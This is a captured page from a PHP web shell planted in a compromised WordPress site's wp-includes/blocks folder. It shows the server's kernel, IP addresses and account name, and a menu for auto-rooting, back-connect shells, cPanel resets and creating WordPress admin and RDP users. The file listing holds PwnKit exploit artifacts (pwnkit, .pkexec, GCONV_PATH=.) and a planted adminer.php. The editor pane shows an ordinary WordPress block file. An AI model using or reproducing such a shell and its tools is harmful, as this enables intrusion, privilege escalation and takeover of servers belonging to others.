Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
vmd /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwx---r-x
audio
[ DIR ]
drwx---r-x
avatar
[ DIR ]
drwx---r-x
block
[ DIR ]
drwx---r-x
button
[ DIR ]
drwx---r-x
buttons
[ DIR ]
drwx---r-x
calendar
[ DIR ]
drwx---r-x
categories
[ DIR ]
drwx---r-x
code
[ DIR ]
drwx---r-x
column
[ DIR ]
drwx---r-x
columns
[ DIR ]
drwx---r-x
comment-author-name
[ DIR ]
drwx---r-x
comment-content
[ DIR ]
drwx---r-x
comment-date
[ DIR ]
drwx---r-x
comment-edit-link
[ DIR ]
drwx---r-x
comment-reply-link
[ DIR ]
drwx---r-x
comment-template
[ DIR ]
drwx---r-x
comments-pagination
[ DIR ]
drwx---r-x
comments-pagination-next
[ DIR ]
drwx---r-x
comments-pagination-numbers
[ DIR ]
drwx---r-x
comments-pagination-previous
[ DIR ]
drwx---r-x
comments-query-loop
[ DIR ]
drwx---r-x
comments-title
[ DIR ]
drwx---r-x
cover
[ DIR ]
drwx---r-x
embed
[ DIR ]
drwx---r-x
file
[ DIR ]
drwx---r-x
freeform
[ DIR ]
drwx---r-x
gallery
[ DIR ]
drwx---r-x
group
[ DIR ]
drwx---r-x
heading
[ DIR ]
drwx---r-x
home-link
[ DIR ]
drwx---r-x
html
[ DIR ]
drwx---r-x
image
[ DIR ]
drwx---r-x
latest-comments
[ DIR ]
drwx---r-x
latest-posts
[ DIR ]
drwx---r-x
legacy-widget
[ DIR ]
drwx---r-x
list
[ DIR ]
drwx---r-x
loginout
[ DIR ]
drwx---r-x
media-text
[ DIR ]
drwx---r-x
missing
[ DIR ]
drwx---r-x
more
[ DIR ]
drwx---r-x
navigation
[ DIR ]
drwx---r-x
navigation-link
[ DIR ]
drwx---r-x
navigation-submenu
[ DIR ]
drwx---r-x
nextpage
[ DIR ]
drwx---r-x
page-list
[ DIR ]
drwx---r-x
paragraph
[ DIR ]
drwx---r-x
pattern
[ DIR ]
drwx---r-x
post-author
[ DIR ]
drwx---r-x
post-author-biography
[ DIR ]
drwx---r-x
post-comments
[ DIR ]
drwx---r-x
post-comments-form
[ DIR ]
drwx---r-x
post-content
[ DIR ]
drwx---r-x
post-date
[ DIR ]
drwx---r-x
post-excerpt
[ DIR ]
drwx---r-x
post-featured-image
[ DIR ]
drwx---r-x
post-navigation-link
[ DIR ]
drwx---r-x
post-template
[ DIR ]
drwx---r-x
post-terms
[ DIR ]
drwx---r-x
post-title
[ DIR ]
drwx---r-x
preformatted
[ DIR ]
drwx---r-x
pullquote
[ DIR ]
drwx---r-x
query
[ DIR ]
drwx---r-x
query-no-results
[ DIR ]
drwx---r-x
query-pagination
[ DIR ]
drwx---r-x
query-pagination-next
[ DIR ]
drwx---r-x
query-pagination-numbers
[ DIR ]
drwx---r-x
query-pagination-previous
[ DIR ]
drwx---r-x
query-title
[ DIR ]
drwx---r-x
quote
[ DIR ]
drwx---r-x
read-more
[ DIR ]
drwx---r-x
rss
[ DIR ]
drwx---r-x
search
[ DIR ]
drwx---r-x
separator
[ DIR ]
drwx---r-x
shortcode
[ DIR ]
drwx---r-x
site-logo
[ DIR ]
drwx---r-x
site-tagline
[ DIR ]
drwx---r-x
site-title
[ DIR ]
drwx---r-x
social-link
[ DIR ]
drwx---r-x
social-links
[ DIR ]
drwx---r-x
spacer
[ DIR ]
drwx---r-x
table
[ DIR ]
drwx---r-x
tag-cloud
[ DIR ]
drwx---r-x
template-part
[ DIR ]
drwx---r-x
term-description
[ DIR ]
drwx---r-x
text-columns
[ DIR ]
drwx---r-x
verse
[ DIR ]
drwx---r-x
video
[ DIR ]
drwx---r-x
widget-group
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
archives.php
2.85
KB
-rw----r--
avatar.php
5.27
KB
-rw----r--
block.php
1.63
KB
-rw----r--
calendar.php
4.57
KB
-rw----r--
categories.php
2.72
KB
-rw----r--
comment-author-name.php
1.89
KB
-rw----r--
comment-content.php
2.23
KB
-rw----r--
comment-date.php
1.47
KB
-rw----r--
comment-edit-link.php
1.5
KB
-rw----r--
comment-reply-link.php
1.86
KB
-rw----r--
comment-template.php
3.26
KB
-rw----r--
comments-pagination-next.php
1.8
KB
-rw----r--
comments-pagination-numbers.ph...
1.56
KB
-rw----r--
comments-pagination-previous.p...
1.6
KB
-rw----r--
comments-pagination.php
967
B
-rw----r--
comments-title.php
2.67
KB
-rw----r--
cover.php
2.18
KB
-rw----r--
file.php
899
B
-rw----r--
gallery.php
3.69
KB
-rw----r--
home-link.php
4.97
KB
-rw----r--
image.php
1.27
KB
-rw----r--
index.php
4.19
KB
-rw----r--
latest-comments.php
4.88
KB
-rw----r--
latest-posts.php
7.28
KB
-rw----r--
legacy-widget.php
3.79
KB
-rw----r--
loginout.php
1.35
KB
-rw----r--
navigation-link.php
10.96
KB
-rw----r--
navigation-submenu.php
9.53
KB
-rw----r--
navigation.php
25.22
KB
-rw----r--
page-list.php
12.83
KB
-rw----r--
pattern.php
921
B
-rw----r--
post-author-biography.php
1.41
KB
-rw----r--
post-author.php
2.05
KB
-rw----r--
post-comments-form.php
2.5
KB
-rw----r--
post-comments.php
2.43
KB
-rw----r--
post-content.php
2.34
KB
-rw----r--
post-date.php
1.51
KB
-rw----r--
post-excerpt.php
2.43
KB
-rw----r--
post-featured-image.php
2.12
KB
-rw----r--
post-navigation-link.php
3.51
KB
-rw----r--
post-template.php
3.94
KB
-rw-r--r--
post-terms.php
1.61
KB
-rw----r--
post-title.php
1.62
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.58
KB
-rw-r--r--
query-pagination-next.php
2.66
KB
-rw----r--
query-pagination-numbers.php
3.73
KB
-rw----r--
query-pagination-previous.php
2.12
KB
-rw----r--
query-pagination.php
1023
B
-rw----r--
query-title.php
1.35
KB
-rw----r--
query.php
304
B
-rw----r--
read-more.php
1.31
KB
-rw----r--
rss.php
3.81
KB
-rw----r--
search.php
12.73
KB
-rw----r--
shortcode.php
697
B
-rw----r--
site-logo.php
5.67
KB
-rw----r--
site-tagline.php
994
B
-rw----r--
site-title.php
1.68
KB
-rw----r--
social-link.php
57.56
KB
-rw----r--
tag-cloud.php
1.6
KB
-rw----r--
template-part.php
7.13
KB
-rw----r--
term-description.php
1.14
KB
-rw----r--
widget-group.php
2.1
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : template-part.php
<?php /** * Server-side rendering of the `core/template-part` block. * * @package WordPress */ /** * Renders the `core/template-part` block on the server. * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_template_part( $attributes ) { static $seen_ids = array(); $template_part_id = null; $content = null; $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; if ( isset( $attributes['slug'] ) && isset( $attributes['theme'] ) && wp_get_theme()->get_stylesheet() === $attributes['theme'] ) { $template_part_id = $attributes['theme'] . '//' . $attributes['slug']; $template_part_query = new WP_Query( array( 'post_type' => 'wp_template_part', 'post_status' => 'publish', 'post_name__in' => array( $attributes['slug'] ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'slug', 'terms' => $attributes['theme'], ), ), 'posts_per_page' => 1, 'no_found_rows' => true, ) ); $template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null; if ( $template_part_post ) { // A published post might already exist if this template part was customized elsewhere // or if it's part of a customized template. $content = $template_part_post->post_content; $area_terms = get_the_terms( $template_part_post, 'wp_template_part_area' ); if ( ! is_wp_error( $area_terms ) && false !== $area_terms ) { $area = $area_terms[0]->name; } /** * Fires when a block template part is loaded from a template post stored in the database. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param WP_Post $template_part_post The template part post object. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content ); } else { // Else, if the template part was provided by the active theme, // render the corresponding file content. $parent_theme_folders = get_block_theme_folders( get_template() ); $child_theme_folders = get_block_theme_folders( get_stylesheet() ); $child_theme_part_file_path = get_theme_file_path( '/' . $child_theme_folders['wp_template_part'] . '/' . $attributes['slug'] . '.html' ); $parent_theme_part_file_path = get_theme_file_path( '/' . $parent_theme_folders['wp_template_part'] . '/' . $attributes['slug'] . '.html' ); $template_part_file_path = 0 === validate_file( $attributes['slug'] ) && file_exists( $child_theme_part_file_path ) ? $child_theme_part_file_path : $parent_theme_part_file_path; if ( 0 === validate_file( $attributes['slug'] ) && file_exists( $template_part_file_path ) ) { $content = file_get_contents( $template_part_file_path ); $content = is_string( $content ) && '' !== $content ? _inject_theme_attribute_in_block_template_content( $content ) : ''; } if ( '' !== $content && null !== $content ) { /** * Fires when a block template part is loaded from a template part in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the template path. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content ); } else { /** * Fires when a requested block template part does not exist in the database nor in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the not found template path. */ do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path ); } } } // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY; if ( is_null( $content ) && $is_debug ) { if ( ! isset( $attributes['slug'] ) ) { // If there is no slug this is a placeholder and we dont want to return any message. return; } return sprintf( /* translators: %s: Template part slug. */ __( 'Template part has been deleted or is unavailable: %s' ), $attributes['slug'] ); } if ( isset( $seen_ids[ $template_part_id ] ) ) { return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } // Run through the actions that are typically taken on the_content. $seen_ids[ $template_part_id ] = true; $content = do_blocks( $content ); unset( $seen_ids[ $template_part_id ] ); $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = shortcode_unautop( $content ); $content = wp_filter_content_tags( $content ); $content = do_shortcode( $content ); // Handle embeds for block template parts. global $wp_embed; $content = $wp_embed->autoembed( $content ); if ( empty( $attributes['tagName'] ) ) { $defined_areas = get_allowed_block_template_part_areas(); $area_tag = 'div'; foreach ( $defined_areas as $defined_area ) { if ( $defined_area['area'] === $area && isset( $defined_area['area_tag'] ) ) { $area_tag = $defined_area['area_tag']; } } $html_tag = $area_tag; } else { $html_tag = esc_attr( $attributes['tagName'] ); } $wrapper_attributes = get_block_wrapper_attributes(); return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]>', $content ) . "</$html_tag>"; } /** * Returns an array of variation objects for the template part block. * * @return array Array containing the block variation objects. */ function build_template_part_block_variations() { $variations = array(); $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $area ) { if ( 'uncategorized' !== $area['area'] ) { $variations[] = array( 'name' => $area['area'], 'title' => $area['label'], 'description' => $area['description'], 'attributes' => array( 'area' => $area['area'], ), 'scope' => array( 'inserter' ), 'icon' => $area['icon'], ); } } return $variations; } /** * Registers the `core/template-part` block on the server. */ function register_block_core_template_part() { register_block_type_from_metadata( __DIR__ . '/template-part', array( 'render_callback' => 'render_block_core_template_part', 'variations' => build_template_part_block_variations(), ) ); } add_action( 'init', 'register_block_core_template_part' );
Close